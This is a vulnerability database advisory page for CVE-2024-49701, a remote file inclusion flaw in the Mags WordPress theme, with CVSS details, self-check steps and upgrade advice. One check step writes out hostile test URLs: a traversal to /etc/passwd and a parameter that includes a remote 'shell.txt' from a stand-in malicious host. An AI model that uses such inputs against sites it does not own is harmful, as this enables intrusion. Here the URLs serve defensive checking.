dbcve.org
MagsWordPress extension · Themehorse

CVE-2024-49701

HIGH · 8.8 CVSS v3.1 Published 2024-10-23
Fix available
A fix is available. Upgrade to 1.1.7 or later.
See remediation →
95/100
Remediation priority · Urgent
Remotely reachable No privileges

Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.

NVD · unedited
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in themehorse Mags mags.This issue affects Mags: from n/a through <= 1.1.6.

Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.

dbcve analysis · moderate confidence

This is a Remote File Inclusion (RFI) vulnerability in the Mags WordPress theme by themehorse. The vulnerability allows remote attackers to include arbitrary files from remote servers via improper input validation in PHP include/require statements, potentially leading to complete site compromise through execution of malicious code.

MitigationUpdate to the latest version of the Mags theme which should contain a patch. If no update is available, manually audit and fix all include/require statements to use whitelisting or remove dynamic file inclusion entirely.

Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.

Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.

NVD · CPE data
MagsWordPress extension
Affected:< 1.1.7

CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.

From the vector
Attack vector
Network
Complexity
Low
Privileges
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.

dbcve checks

Work through these to decide whether this CVE applies to you.

  1. Verify Mags theme is installed
    Navigate to wp-content/themes/ and check if a folder named 'mags' or 'Mags' exists. Alternatively, in WordPress admin go to Appearance > Themes and confirm the Mags theme is active or installed.
    Affected if The Mags theme by themehorse is present in the WordPress installation.
  2. Determine installed theme version
    Open the theme's style.css file located at wp-content/themes/mags/style.css and locate the 'Version:' header in the file comments. Alternatively, check version defined in the theme's functions.php or main index.php file.
    Affected if The version number found is less than 1.1.7 (e.g., 1.1.6, 1.1.5, 1.0.x, etc.).
  3. Identify dynamic file inclusion patterns
    Search PHP files in the theme directory (wp-content/themes/mags/) for include, include_once, require, or require_once statements that use variables or user-controllable input as the path, such as: include($_GET['...']), include($var), or similar patterns without proper validation.
    Affected if Any PHP files contain include/require statements that accept unsanitized input from GET/POST parameters or other external sources.
  4. Check for exposed vulnerable endpoints
    Test common parameter names that may trigger file inclusion by visiting URLs like: yoursite.com/?theme_file=../../../../etc/passwd or yoursite.com/?file=http://malicious.com/shell.txt (use local test files only). Check if the application attempts to include remote or local files based on the parameter.
    Affected if The site responds with contents of local files (path traversal) or attempts to fetch remote URLs based on supplied parameters.

A user is affected if the Mags theme version is below 1.1.7 AND the theme contains dynamic file inclusion code that can be triggered via URL parameters.

Generated from the published advisory. Verify against your own configuration.

Check your environment

Paste your version and any relevant configuration and it will be compared against the affected criteria above. Do not include secrets or credentials.

AI-assisted, checked against the advisory. Informational, not a guarantee.

Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.

dbcve · scoped
Upgrade available Upgrade to 1.1.7 or later
Fixed in 1.1.7
Interim mitigation

Update to the latest version of the Mags theme which should contain a patch. If no update is available, manually audit and fix all include/require statements to use whitelisting or remove dynamic file inclusion entirely.

Recommended fix High confidence

Mags theme version 1.1.7

  1. 1. Backup your WordPress site before making any changes.
  2. 2. Navigate to your WordPress admin dashboard > Appearance > Themes.
  3. 3. Deactivate the current Mags theme.
  4. 4. Delete the current Mags theme.
  5. 5. Install Mags theme version 1.1.7 or later from a trusted source (themehorse.com or official WordPress theme repository).
  6. 6. Reactivate the Mags theme after installation.
  7. 7. Verify the theme version in Appearance > Themes to confirm version 1.1.7 is installed.

Generated from the published advisory — verify against the referenced sources before acting.

Fix this in Mags Scoped from the published advisory
  • Consultation4.0 h
  • Implementation3.0 h
  • Testing3.0 h
  • Review / QA2.0 h
12.0 hours of engineering $2,150
Get the upgrade done

An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $3,440.

Scan for this in your stack

Free · runs locally
dbcve dependency scanner

Check whether your project pulls in CVE-2024-49701 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.

Get it on GitHub Scan in the browser

References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.

Primary sources

Practitioner notes

Contributed

Peer-ranked notes from engineers who’ve handled CVE-2024-49701 in production — separate from our analysis above.

No notes yet

Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.

What this is

A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.

What belongs here
  • Verified mitigations, workarounds, and config changes
  • Version or environment caveats, and links to real fixes
  • No weaponised exploit code, or anything meant to cause harm
  • No spam, self-promotion, credentials, or personal data